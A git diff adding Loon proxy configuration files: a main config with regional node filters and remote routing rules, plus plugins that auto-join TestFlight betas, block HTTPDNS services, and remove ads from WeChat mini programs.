https://gitlab.com/lodepuly/iconlibrary/-/raw/main/Flag_icon/120px/AU.png +其他节点 = select,OT_Filter,url = http://www.google.com/generate_204,img-url = https://gitlab.com/lodepuly/iconlibrary/-/raw/main/Flag_icon/120px/WW.png + + +# ===================================== +# Remote Filter +# (?i):表示后面整个括号内的表达式不区分大小写 +# ===================================== +[Remote Filter] +OT_Filter = NameRegex, FilterKey = "^(?!.*(?:US|TW|JP|SG|美|韩|日本|新|港|澳|台|英|🇬🇧|🇺🇸|🇲🇴|🇸🇬|🇯🇵|🇭🇰|🇰🇷)).*$" +HK_Filter = NameRegex, FilterKey = "(?i)(🇭🇰|港|HK)" +MO_Filter = NameRegex, FilterKey = "(?i)(🇲🇴|澳门|MO)" +TW_Filter = NameRegex, FilterKey = "(?i)(台|TW|Tai)" +US_Filter = NameRegex, FilterKey = "(?i)(🇺🇸|美|US)" +JP_Filter = NameRegex, FilterKey = "(?i)(🇯🇵|日本|JP|Japan)" +KR_Filter = NameRegex, FilterKey = "(?i)(🇰🇷|KR|Korea|KOR|首尔|韩|韓)" +SG_Filter = NameRegex, FilterKey = "(?i)(🇸🇬|新加坡|狮城|SG|Singapore)" +UK_Filter = NameRegex, FilterKey = "(?i)(🇬🇧|英国)" + + +# ===================================== +# Rule +# Options:no-resolve(only for cidr) +# ===================================== +[Rule] +# 信息收集 +URL-REGEX,\.log\.,REJECT +# 海角社区 +DOMAIN-KEYWORD,haijiao,美国节点 +# 兜底策略 +FINAL,兜底策略 + + +# ===================================== +# Remote Rule +# ===================================== +[Remote Rule] +https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/rejectAd.list, policy=REJECT, tag=广告拦截合集-规则@奶思, enabled=true +https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/apple_update.list, policy=REJECT, tag=苹果屏蔽系统更新@奶思, enabled=false +https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/AI.list, policy=人工智能, tag=AI分流合集@奶思, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/XiaoHongShu/XiaoHongShu.list, policy=狮城节点, tag=小红书@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/WeChat/WeChat.list, policy=微信消息, tag=WeChat@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/Weibo/Weibo.list, policy=微博服务, tag=Weibo@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/DouYin/DouYin.list, policy=大陆抖音, tag=DouYin@bm7, enabled=false +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/ByteDance/ByteDance.list, policy=大陆抖音, tag=字节跳动@bm7, enabled=false +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/TikTok/TikTok.list, policy=海外抖音, tag=TikTok@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/BiliBili/BiliBili.list, policy=港台番剧, tag=哔哩哔哩@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/Telegram/Telegram.list, policy=电报消息, tag=Telegram@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/GitHub/GitHub.list, policy=香港节点, tag=Github@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/Microsoft/Microsoft.list, policy=微软服务, tag=Microsoft@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/Spotify/Spotify.list, policy=狮城节点, tag=Spotify@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/Twitter/Twitter.list, policy=美国节点, tag=Twitter@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/TestFlight/TestFlight.list, policy=苹果服务, tag=TestFlight@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/Apple/Apple.list, policy=苹果服务, tag=苹果服务@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/Apple/Apple_Domain.list, policy=苹果服务, tag=苹果服务@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/Facebook/Facebook.list, policy=香港节点, tag=Facebook@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/Instagram/Instagram.list, policy=香港节点, tag=Instagram@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/YouTubeMusic/YouTubeMusic.list, policy=美国节点, tag=YouTube Music@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/YouTube/YouTube.list, policy=油管视频, tag=YouTube@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/GoogleVoice/GoogleVoice.list, policy=美国节点, tag=Google Voice@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/Google/Google.list, policy=谷歌服务, tag=Google@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/Disney/Disney.list, policy=香港节点, tag=Disney@bm7, enabled=true +https://github.com/blackmatrix7/ios_rule_script/raw/master/rule/Loon/Line/Line.list, policy=香港节点, tag=Line@bm7, enabled=true +https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/Soul.list, policy=台湾节点, tag=Soul分流@奶思, enabled=true +https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/Talkatone.list, policy=美国节点, tag=Talkatone分流, enabled=true +https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/OKX.list, policy=狮城节点, tag=欧易分流@奶思, enabled=true +https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/Binance.list, policy=狮城节点, tag=币安分流@奶思, enabled=true +https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/LAN.list, policy=DIRECT, tag=LAN@奶思, enabled=true +https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/GeoIP_CN.list, policy=大陆网址, tag=GeoIP_CN@奶思, enabled=true + + + +# ===================================== +# Rewrite +# ===================================== +[Rewrite] + + +# ===================================== +# Script +# ===================================== +[Script] + + +# ===================================== +# Remote Script +# ===================================== +[Remote Script] +https://github.com/fmz200/wool_scripts/raw/main/Loon/script/tasks.scripts, tag=定时任务合集@fmz200, enabled=true +https://github.com/fmz200/wool_scripts/raw/main/Loon/script/tools.scripts, tag=脚本工具合集@fmz200, enabled=true + + +# ===================================== +# 插件 +# ===================================== +[Plugin] +https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/cookies.plugin, enabled=false +https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/weibo.plugin, enabled=true +https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/blockAds.plugin, enabled=true +https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/WexinMiniPrograms_Remove_ads.plugin, enabled=true +https://raw.githubusercontent.com/app2smile/rules/master/plugin/spotify.plugin, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/spotify.png, enabled=true +https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/Auto_Join_TF.plugin, policy=代理节点, enabled=false +https://raw.githubusercontent.com/Tartarus2014/Loon-Script/master/Plugin/skip-proxy.plugin, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Alpha/Imm.png, enabled=true +https://raw.githubusercontent.com/VirgilClyne/GetSomeFries/main/plugin/HTTPDNS.Block.plugin, enabled=true +https://raw.githubusercontent.com/chavyleung/scripts/master/box/rewrite/boxjs.rewrite.loon.plugin, policy=代理节点, enabled=true +https://raw.githubusercontent.com/sub-store-org/Sub-Store/master/config/Loon.plugin, policy=代理节点, enabled=true +https://raw.githubusercontent.com/Script-Hub-Org/Script-Hub/main/modules/script-hub.loon.plugin, policy=代理节点, enabled=true + + +# ===================================== +# Mitm +# ===================================== +[Mitm] +hostname = +ca-p12 = +ca-passphrase = +skip-server-cert-verify = false diff --git a/Loon/plugin/Auto_Join_TF.plugin b/Loon/plugin/Auto_Join_TF.plugin new file mode 100644 index 00000000..ff190fd6 --- /dev/null +++ b/Loon/plugin/Auto_Join_TF.plugin @@ -0,0 +1,32 @@ +#!name = 自动加入TestFlight +#!desc = 使用前先获取账号令牌和应用ID,一旦有新的名额即刻加入 +#!openUrl = https://apps.apple.com/app/id899247664 +#!author = 奶思[https://github.com/fmz200], DecoAri[https://github.com/DecoAri], xream[https://github.com/xream] +#!tag = 定时任务 +#!system = +#!system_version = +#!loon_version = 3.2.4(787) +#!homepage = https://github.com/fmz200/wool_scripts +#!icon = https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/testflight.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/Auto_Join_TF.plugin +#!tg-group=https://t.me/lanjieguanggao +#!input = fmz200_TF_APP_ID +#!date = 2025-06-14 15:17:08 + +[Argument] +CaptureAccountToken = switch, "false", "true", tag = 捕获账号令牌, desc = 此开关控制插件是否捕获账户令牌 +CaptureAppID = switch, "false", "true", tag = 捕获应用ID, desc = 此开关控制插件是否捕获应用ID +TimingParameters = input, "0 0/3 * * * ?", tag = 定时参数, desc = 这里需要输入符合CRON表达式的参数 + +[Rule] +DOMAIN, testflight.apple.com, PROXY + +[Script] +http-request ^https?:\/\/testflight\.apple\.com\/v3\/accounts\/.*\/apps$ script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/TestFlight/AutoJoinTFKeys.js, tag = 获取账号令牌, enable = {CaptureAccountToken} + +http-request ^https?:\/\/testflight\.apple\.com\/join\/(.*) script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/TestFlight/AutoJoinTFKeys.js, tag = 应用ID捕获(可能抓不到), enable = {CaptureAppID} + +cron {TimingParameters} script-path = https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/TestFlight/AutoJoinTF.js, tag = 自动加入TF, timeout = 180 + +[MitM] +hostname = testflight.apple.com \ No newline at end of file diff --git a/Loon/plugin/Block_HTTPDNS.plugin b/Loon/plugin/Block_HTTPDNS.plugin new file mode 100644 index 00000000..5801364a --- /dev/null +++ b/Loon/plugin/Block_HTTPDNS.plugin @@ -0,0 +1,244 @@ +#!name = HTTPDNS拦截器 +#!desc = 拦截常见的HTTPDNS服务,以确保这些请求都能够在Loon的DNS框架下工作。 +#!openUrl = +#!author = 可莉🅥[https://github.com/luestr/ProxyResource/blob/main/README.md], VirgilClyne[https://github.com/VirgilClyne] +#!tag = DNS +#!system = +#!system_version = +#!loon_version = 3.2.4(787) +#!homepage = https://github.com/luestr/ProxyResource/blob/main/README.md +#!icon = https://raw.githubusercontent.com/luestr/IconResource/main/Other_icon/120px/HTTPDNS.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/Block_HTTPDNS.plugin +#!tg-group=https://t.me/lanjieguanggao +#!date = 2025-05-13 21:58:49 + +[Rule] +DOMAIN, yyapp-httpdns.gslb.yy.com, REJECT +DOMAIN, union-httpdns.gslb.yy.com, REJECT +DOMAIN, httpdns-v6.gslb.yy.com, REJECT + +URL-REGEX, "^http:\/\/103\.44\.58\.64\/md\?", REJECT + +URL-REGEX, "^http:\/\/cdn\.wup\.huya\.com\/launch\/queryHttpDns", REJECT + +DOMAIN, dns2.q2cdn.com, REJECT +URL-REGEX, "^http:\/\/xmc\.ximalaya\.com\/xmlymain-login-web\/login\/", REJECT + +IP-CIDR, 8.134.241.67/32, REJECT, no-resolve +DOMAIN, httpdns.volcengineapi.com, REJECT +DOMAIN, dig.bdurl.net, REJECT +DOMAIN, dig.zjurl.cn, REJECT +AND, ((DOMAIN-KEYWORD, tnc), (AND, ((OR, ((DOMAIN-KEYWORD, -bjlgy), (DOMAIN-KEYWORD, -alisc), (DOMAIN-KEYWORD, -aliec), (DOMAIN-KEYWORD, -alisg))), (OR, ((DOMAIN-SUFFIX, snssdk.com), (DOMAIN-SUFFIX, isnssdk.com), (DOMAIN-SUFFIX, toutiaoapi.com), (DOMAIN-SUFFIX, bytedance.com), (DOMAIN-SUFFIX, zijieapi.com)))))), REJECT // 字节的HTTPDNS服务,以及控制客户端的QUIC启用。 + +DOMAIN, dns.weixin.qq.com, REJECT +DOMAIN, dns.weixin.qq.com.cn, REJECT +DOMAIN, aedns.weixin.qq.com, REJECT +DOMAIN, paydns.wechatpay.cn, REJECT +IP-CIDR, 39.156.140.30/32, REJECT, no-resolve +IP-CIDR, 39.156.140.47/32, REJECT, no-resolve +IP-CIDR, 39.156.140.245/32, REJECT, no-resolve +IP-CIDR, 42.81.232.18/32, REJECT, no-resolve +IP-CIDR, 42.187.182.106/32, REJECT, no-resolve +IP-CIDR, 42.187.182.123/32, REJECT, no-resolve +IP-CIDR, 42.187.184.154/32, REJECT, no-resolve +IP-CIDR, 43.130.30.237/32, REJECT, no-resolve +IP-CIDR, 43.130.30.240/32, REJECT, no-resolve +IP-CIDR, 43.137.153.151/32, REJECT, no-resolve +IP-CIDR, 43.137.159.31/32, REJECT, no-resolve +IP-CIDR, 43.152.112.101/32, REJECT, no-resolve +IP-CIDR, 43.153.248.120/32, REJECT, no-resolve +IP-CIDR, 60.28.172.100/32, REJECT, no-resolve +IP-CIDR, 61.151.231.157/32, REJECT, no-resolve +IP-CIDR, 101.32.104.104/32, REJECT, no-resolve +IP-CIDR, 106.39.206.21/32, REJECT, no-resolve +IP-CIDR, 106.39.206.25/32, REJECT, no-resolve +IP-CIDR, 106.39.206.70/32, REJECT, no-resolve +IP-CIDR, 111.31.201.194/32, REJECT, no-resolve +IP-CIDR, 111.31.241.76/32, REJECT, no-resolve +IP-CIDR, 111.31.241.140/32, REJECT, no-resolve +IP-CIDR, 111.206.147.156/32, REJECT, no-resolve +IP-CIDR, 111.206.147.210/32, REJECT, no-resolve +IP-CIDR, 111.206.148.27/32, REJECT, no-resolve +IP-CIDR, 116.128.177.249/32, REJECT, no-resolve +IP-CIDR, 116.130.224.150/32, REJECT, no-resolve +IP-CIDR, 116.130.224.205/32, REJECT, no-resolve +IP-CIDR, 117.185.247.73/32, REJECT, no-resolve +IP-CIDR, 123.151.48.171/32, REJECT, no-resolve +IP-CIDR, 123.151.48.193/32, REJECT, no-resolve +IP-CIDR, 123.151.48.208/32, REJECT, no-resolve +IP-CIDR, 123.151.54.50/32, REJECT, no-resolve +IP-CIDR, 180.153.202.85/32, REJECT, no-resolve +IP-CIDR, 183.192.196.31/32, REJECT, no-resolve +IP-CIDR, 203.205.129.102/32, REJECT, no-resolve +IP-CIDR, 203.205.234.132/32, REJECT, no-resolve +IP-CIDR, 220.196.159.73/32, REJECT, no-resolve +IP-CIDR6, 240e:928:1400:10::25/128, REJECT, no-resolve +IP-CIDR6, 2402:4e00:8030:1::17/128, REJECT, no-resolve +IP-CIDR6, 2402:4e00:1900:1700:0:9554:1ad9:c3a/128, REJECT, no-resolve +IP-CIDR6, 2408:8711:10:10::20/128, REJECT, no-resolve +IP-CIDR6, 2409:8702:4860:10::4d/128, REJECT, no-resolve + +DOMAIN, httpdns.kg.qq.com, REJECT +URL-REGEX, "^http:\/\/182\.256\.116\.116\/d", REJECT + +DOMAIN, httpdns.bilivideo.com, REJECT +URL-REGEX, "^http:\/\/47\.101\.175\.206\/resolve", REJECT +URL-REGEX, "^http:\/\/47\.100\.123\.169\/resolve", REJECT +URL-REGEX, "^http:\/\/120\.46\.169\.234\/resolve", REJECT +URL-REGEX, "^http:\/\/121\.36\.72\.124\/resolve", REJECT +URL-REGEX, "^http:\/\/116\.63\.10\.135\/resolve", REJECT +URL-REGEX, "^http:\/\/117\.185\.228\.108\/resolve", REJECT +URL-REGEX, "^http:\/\/117\.144\.238\.29\/resolve", REJECT +URL-REGEX, "^http:\/\/122\.9\.7\.134\/resolve", REJECT +URL-REGEX, "^http:\/\/101\.91\.140\.124\/resolve", REJECT +URL-REGEX, "^http:\/\/101\.91\.140\.224\/resolve", REJECT +URL-REGEX, "^http:\/\/122\.9\.13\.79\/resolve", REJECT +URL-REGEX, "^http:\/\/122\.9\.15\.129\/resolve", REJECT +URL-REGEX, "^http:\/\/112\.65\.200\.117\/resolve", REJECT +URL-REGEX, "^http:\/\/112\.64\.218\.119\/resolve", REJECT +URL-REGEX, "^http:\/\/114\.116\.215\.110\/resolve", REJECT +URL-REGEX, "^http:\/\/116\.63\.10\.31\/resolve", REJECT + +DOMAIN, httpdns.browser.miui.com, REJECT +DOMAIN, resolver.msg.xiaomi.net, REJECT + +DOMAIN, httpdns.alicdn.com, REJECT + +DOMAIN, httpdns-api.aliyuncs.com, REJECT +DOMAIN, httpdns-sc.aliyuncs.com, REJECT +IP-CIDR, 203.107.1.0/24, REJECT, no-resolve + +DOMAIN, httpdns.danuoyi.tbcache.com, REJECT + +DOMAIN, httpdns.cctv.com, REJECT + +DOMAIN, httpdns-browser.platform.dbankcloud.cn, REJECT +DOMAIN, httpdns.huaweicloud.com, REJECT +DOMAIN, httpdns.c.cdnhwc2.com, REJECT +DOMAIN, httpdns.platform.dbankcloud.cn, REJECT +DOMAIN, httpdns.platform.dbankcloud.com, REJECT +DOMAIN, httpdns1.cc.cdnhwc5.com, REJECT + +DOMAIN, doh.ptqy.gitv.tv, REJECT + +DOMAIN, httpdns.baidu.com, REJECT +DOMAIN, httpsdns.baidu.com, REJECT +DOMAIN, httpdns.bcelive.com, REJECT +DOMAIN, httpdns.baidubce.com, REJECT +DOMAIN, dns.iqiyi.com, REJECT +DOMAIN, doh.iqiyi.com, REJECT +DOMAIN, dns.qiyipic.iqiyi.com, REJECT +DOMAIN, httpdns.n.shifen.com, REJECT +URL-REGEX, "^http:\/\/180\.76\.76\.112\/v\d\/", REJECT +URL-REGEX, "^http:\/\/180\.76\.76\.112\/v\d\/resolve", REJECT +URL-REGEX, "^http:\/\/180\.76\.76\.220\/v\d\/resolve", REJECT +IP-CIDR, 186.76.76.200/32, REJECT, no-resolve + +DOMAIN, httpdns.ocloud.heytapmobi.com, REJECT +DOMAIN, httpdns.push.heytapmobi.com, REJECT + +DOMAIN, dns.jd.com, REJECT +IP-CIDR, 101.124.19.122/32, REJECT, no-resolve +IP-CIDR6, 2402:db40:5100:1011::5/128, REJECT, no-resolve +IP-CIDR, 103.224.222.208/32, REJECT, no-resolve + +IP-CIDR, 119.29.29.98/32, REJECT, no-resolve +IP-CIDR, 119.29.29.99/32, REJECT, no-resolve +URL-REGEX, "^http:\/\/182\.254\.116\.116\/d", REJECT +URL-REGEX, "^http:\/\/119\.29\.29\.98\/d\?", REJECT + +DOMAIN, dotserver.douyucdn.cn, REJECT +^http:\/\/203\.107\.1\.33\/\d+\/ss +^http:\/\/203\.107\.1\.34\/\d+\/ss + +DOMAIN, hdns.ksyun.com, REJECT + +URL-REGEX, "^http:\/\/162\.14\.3\.250\/v4", REJECT + +DOMAIN, httpdns.push.oppomobile.com, REJECT +DOMAIN, httpdns.ocloud.oppomobile.com, REJECT + +DOMAIN, kuaishou.httpdns.pro, REJECT +DOMAIN, httpdns.kwd.inkuai.com, REJECT +DOMAIN, apidns.kwd.inkuai.com, REJECT +DOMAIN, apidns-js.kwd.inkuai.com, REJECT + +DOMAIN, httpdns.meituan.com, REJECT +DOMAIN, httpdnsmultiapi.meituan.com, REJECT +DOMAIN, httpdnsmultiapivip.meituan.com, REJECT +URL-REGEX, "^http:\/\/103\.37\.155\.60\/fetch", REJECT + +URL-REGEX, "^http:\/\/81\.69\.130\.131\/d", REJECT +URL-REGEX, "^http:\/\/101\.35\.204\.35\/d", REJECT +URL-REGEX, "^http:\/\/101\.35\.212\.35\/d", REJECT +URL-REGEX, "^http:\/\/114\.110\.96\.6\/d", REJECT +URL-REGEX, "^http:\/\/114\.110\.96\.26\/d", REJECT +URL-REGEX, "^http:\/\/114\.110\.97\.30\/d", REJECT +URL-REGEX, "^http:\/\/114\.110\.97\.97\/d", REJECT +URL-REGEX, "^http:\/\/121\.5\.84\.85\/d", REJECT +URL-REGEX, "^http:\/\/\[2402:4e00:1411:201:0:9964:ba21:5a41\]\/d", REJECT + +DOMAIN, httpdns.music.163.com, REJECT +DOMAIN, httpdns.n.netease.com, REJECT +DOMAIN, httpdns-sdk.n.netease.com, REJECT +DOMAIN, httpdns.yunxindns.com, REJECT +DOMAIN, lofter.httpdns.c.163.com, REJECT +DOMAIN, music.httpdns.c.163.com, REJECT +DOMAIN, httpdns.yunxindns.com, REJECT +IP-CIDR, 59.111.239.61/32, REJECT, no-resolve +IP-CIDR, 59.111.239.62/32, REJECT, no-resolve +IP-CIDR, 115.236.121.51/32, REJECT, no-resolve +IP-CIDR, 115.236.121.195/32, REJECT, no-resolve + +DOMAIN, httpdns.zybang.com, REJECT + +DOMAIN, httpdns.calorietech.com, REJECT + +DOMAIN, dns.weibo.cn, REJECT +IP-CIDR, 39.97.130.51/32, REJECT, no-resolve +IP-CIDR, 39.97.128.148/32, REJECT, no-resolve +URL-REGEX, "^http:\/\/api\.weibo\.cn\/2\/httpdns\/config", REJECT +URL-REGEX, "^http:\/\/api\.weibo\.cn\/httpdns\/config", REJECT + +URL-REGEX, "^http:\/\/103\.41\.167\.237\/v2\/resolv", REJECT +IP-CIDR, 118.89.204.198/23, REJECT, no-resolve +IP-CIDR6, 2402:4e00:1200:ed00:0:9089:6dac:96b6/128, REJECT, no-resolve + +DOMAIN, hd.xiaojukeji.com, REJECT + +DOMAIN, httpdns.zybang.com, REJECT + +URL-REGEX, "^http:\/\/203\.107\.1\.33\/191607\/resolve\?", REJECT +URL-REGEX, "^http:\/\/119\.29\.29\.29\/d", REJECT + +DOMAIN, serveraddr.service.kugou.com, REJECT +DOMAIN, twns.p2ptun.qq.com, REJECT +DOMAIN, tp2p.kg.qq.com, REJECT +IP-CIDR, 81.71.61.216/32, REJECT, no-resolve + +URL-REGEX, "^http:\/\/54\.222\.159\.138:8053\/httpdns\/", REJECT +URL-REGEX, "^http:\/\/101\.42\.130\.147:8053\/httpdns\/", REJECT +URL-REGEX, "^http:\/\/106\.55\.220\.18:8053\/httpdns\/", REJECT +URL-REGEX, "^http:\/\/139\.196\.12\.179:8053\/httpdns\/", REJECT + +[Rewrite] +^https?:\/\/203\.107\.1\.1/\d+/ss reject +^https?:\/\/203\.107\.1\.33/\d+/ss reject +^https?:\/\/203\.107\.1\.66/\d+/ss reject +^https?:\/\/203\.107\.1\.67/\d+/ss reject +^https?:\/\/203\.107\.1\.97/\d+/ss reject +^https?:\/\/2401:b180:2000:30::1c\/\d+\/d reject +^https?:\/\/2401:b180:2000:20::10\/\d+\/d reject + +^https?:\/\/appconf\.mail\.163\.com\/mailmaster\/api\/http\/urlConfig\.do$ reject-dict + +^https?:\/\/amdc\.alipay\.com\/query + +^https?:\/\/cdn\.wup\.huya\.com\/monitor\/monitor\.jsp reject + +^https:\/\/msglb\.91160\.com\/msg\/outer\/broker\/get$ reject-dict + +^https:\/\/gslbali\.ximalaya\.com\/linkeye-cloud\/httpdns\/ reject + +[MitM] +hostname = 203.107.1.1, 203.107.1.33, 203.107.1.66, 203.107.1.67, 203.107.1.97, 2401:b180:2000:30::1c, 2401:b180:2000:20::10, amdc.alipay.com, appconf.mail.163.com, msglb.91160.com \ No newline at end of file diff --git a/Loon/plugin/WeChatMiniAds.plugin b/Loon/plugin/WeChatMiniAds.plugin new file mode 100644 index 00000000..b282a9ea --- /dev/null +++ b/Loon/plugin/WeChatMiniAds.plugin @@ -0,0 +1,329 @@ +#!name = 微信小程序去广告 +#!desc = 收录常用小程序的去广告,作者署名在插件内。 +#!openUrl = https://apps.apple.com/app/id414478124 +#!author = 可莉🅥[https://gitlab.com/lodepuly/vpn_tool/-/blob/master/README.md] +#!raw-url = https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/WeChatMiniAds.plugin +#!tag = 去广告 +#!system = +#!system_version = +#!loon_version = 3.2.1(749) +#!homepage = https://gitlab.com/lodepuly/vpn_tool/-/blob/master/README.md +#!icon = https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/wechat.png +#!date = 2024-09-27 22:18:09 + +[Rule] +# 微信小程序通用规则 +DOMAIN, wxsnsdy.wxs.qq.com, REJECT +DOMAIN, wxsmsdy.video.qq.com, REJECT +DOMAIN, wxsnsdythumb.wxs.qq.com, REJECT + +# 收钱吧广告 +DOMAIN, ads-shopping.shouqianba.com, REJECT + +# 猫眼电影 +DOMAIN, ad.maoyan.com, REJECT + +# 捷停车 @怎么肥事 +DOMAIN, e.jparking.cn, REJECT + +[Rewrite] +# 企迈点单系统 +^https:\/\/webapi\.qmai\.cn\/web\/catering\/advertising\/ reject-dict +^https:\/\/webapi\.qmai\.cn\/web\/cmk-center\/marketing\/canvas\/advert-reach reject +# 挪瓦咖啡 webapi.qmai.cn +^https:\/\/images\.qmai\.cn\/s214925\/2023 reject-dict + +# 交通银行小程序开屏广告 @张军 +^https:\/\/creditcardapp\.bankcomm\.com\/cnsvPmpaMdbcardWeb\/page\/getGuidePageAds reject + +# 招行首页横幅广告 @ArthasYZ +^https:\/\/mbmodule-openapi\.paas\.cmbchina\.com\/graphic\/v2\/module\/graphic reject + +# 丰巢 - 首页服务推广 +^https:\/\/webchatapp\.fcbox\.com\/fcboxactivityweb\/api\/v2\/clientPage\/modulesAggregated\? reject-dict +# 丰巢 - 首页丰巢直播 +^https:\/\/webchatapp\.fcbox\.com\/fcboxactivityweb\/api\/v2\/clientPage\/getHomeLiveInfo$ reject-dict +# 丰巢 - 横幅和广告配置 +^https:\/\/dsp\.fcbox\.com\/adSearch\/ reject-dict +# 丰巢 - 订单页面 - 邀请开通会员横幅 +^https:\/\/webchatapp\.fcbox\.com\/post\/suggestion\/query$ reject-dict +# 丰巢 - 订单页面 - 好友助力 +^https:\/\/webchatapp\.fcbox\.com\/fcboxactivityweb\/marketingEntrance\/v2\/infoWithItems$ reject-dict +# 丰巢 - 订单页面 - 悬浮窗 +^https:\/\/webchatapp\.fcbox\.com\/fcboxactivityweb\/marketingEntrance\/info$ reject-dict + +# 中国石油去广告 @张军 +# 中石油去开屏广告发现 +^https:\/\/app\.95504\.net\/app\/json\/page_ad\/initPageAd\?ver= reject +# 中油好客e站小程序弹窗广告 +^https:\/\/minipro\.95504\.net\/app\/json\/ad\/getPopAdData reject +# 中油好客e站小程序底部横幅广告 +^https:\/\/minipro\.95504\.net\/app\/json\/ad\/getIndexAdData reject + +# 多点 @ArthasYZ +^https:\/\/flow\.dmall\.com\/app\/home\/pops reject + +# 永辉 @ArthasYZ +^https:\/\/api\.yonghuivip\.com\/api\/fp\/homepage\/pop reject +^https:\/\/activity\.yonghuivip\.com\/api\/app\/fp\/homepage\/pop reject +^https:\/\/activity\.yonghuivip\.com\/api\/\/web\/shensuan\/ad reject +^https:\/\/sauron-report\.yonghuivip\.com\/collect reject + +# 必胜客 res.pizzahut.com.cn +^https:\/\/res\.pizzahut\.com\.cn\/CRM reject-dict + +# 肯德基 orders.kfc.com.cn, dynamicad.kfc.com.cn, res.kfc.com.cn +# ^https:\/\/orders\.kfc\.com\.cn\/preorder-portal\/api\/v2\/coupon reject-dict +# ^https:\/\/dynamicad\.kfc\.com\.cn\/api reject-dict +# ^https:\/\/res\.kfc\.com\.cn\/CRM\/kfcad\/custom_v2\/wxapp reject-dict +# ^https:\/\/orders\.kfc\.com\.cn\/preorder-portal\/api\/v2\/activity reject-dict + +# 麦当劳 api.mcd.cn +^https:\/\/api\.mcd\.cn\/bff\/portal\/home\/hotActivity reject-dict + +# 星巴克 3pp.starbucks.com.cn +^https:\/\/3pp\.starbucks\.com\.cn\/wxmem\/popup reject-dict +^https:\/\/3pp\.starbucks\.com\.cn\/wxmem\/index\/banner reject-dict +^https:\/\/3pp\.starbucks\.com\.cn\/wxmem\/index\/global reject-dict + +# 石家庄公交乘车码 wechat-api.i-xiaoma.com.cn +^https:\/\/wechat-api\.i-xiaoma\.com\.cn\/app\/v1\/bus\/wechat\/content reject-dict + +# 神州租车 apiproxy.zuche.com +^https:\/\/apiproxy\.zuche\.com\/resource\/carrctapi\/home\/marketing reject-dict +^https:\/\/apiproxy\.zuche\.com\/resource\/carrctapi\/home\/page\/advertising reject-dict + +# 闪送 miniprogram.ishansong.com, ads.ishansong.com +^https:\/\/miniprogram\.ishansong\.com\/cms\/faq\/query reject-dict +^https:\/\/ads\.ishansong\.com\/advert reject-dict + +# 霸王茶姬 @ArthasYZ + +# EMS @ArthasYZ +^https:\/\/ump\.ems\.com\.cn\/mailAd$ reject + +# 曹操出行 minicap.caocaokeji.cn +^https:\/\/minicap\.caocaokeji\.cn\/advert-bss\/pullAdvert reject-dict + +# 羊城通 r2.gzyct.com +^https:\/\/r2\.gzyct\.com\/qrcode\/advert reject-dict + +# 极兔快递 applets.jtexpress.com.cn +^https:\/\/applets\.jtexpress\.com\.cn reject-dict + +# 哈啰 api.hellobike.com +^https:\/\/api\.hellobike\.com\/api\?adx reject-dict + +# 微快递 api.kuaidihelp.com +^https:\/\/api\.kuaidihelp\.com\/g_order_core\/v2\/mina\/User\/getBannerList reject-dict + +# 美柚 wxproj.seeyouyima.com +^https:\/\/wxproj\.seeyouyima\.com\/data\/today_tips reject-dict + +# 快狗打车搬家 suyun-user.daojia.com +^https:\/\/suyun-guest\.daojia\.com\/api\/kuaigou\/banjia\/review reject-dict + +# 货拉拉 qapi.huolala.cn, appuser-static.huolala.cn +^https:\/\/qapi\.huolala\.cn\/ads reject-dict +^https:\/\/qapi\.huolala\.cn\/home_new_user reject-dict +^https:\/\/qapi\.huolala\.cn\/get_service_list reject-dict +^https:\/\/appuser-static\.huolala\.cn\/imgs reject-dict + +# 广州地铁乘车码 apis.alenable.com 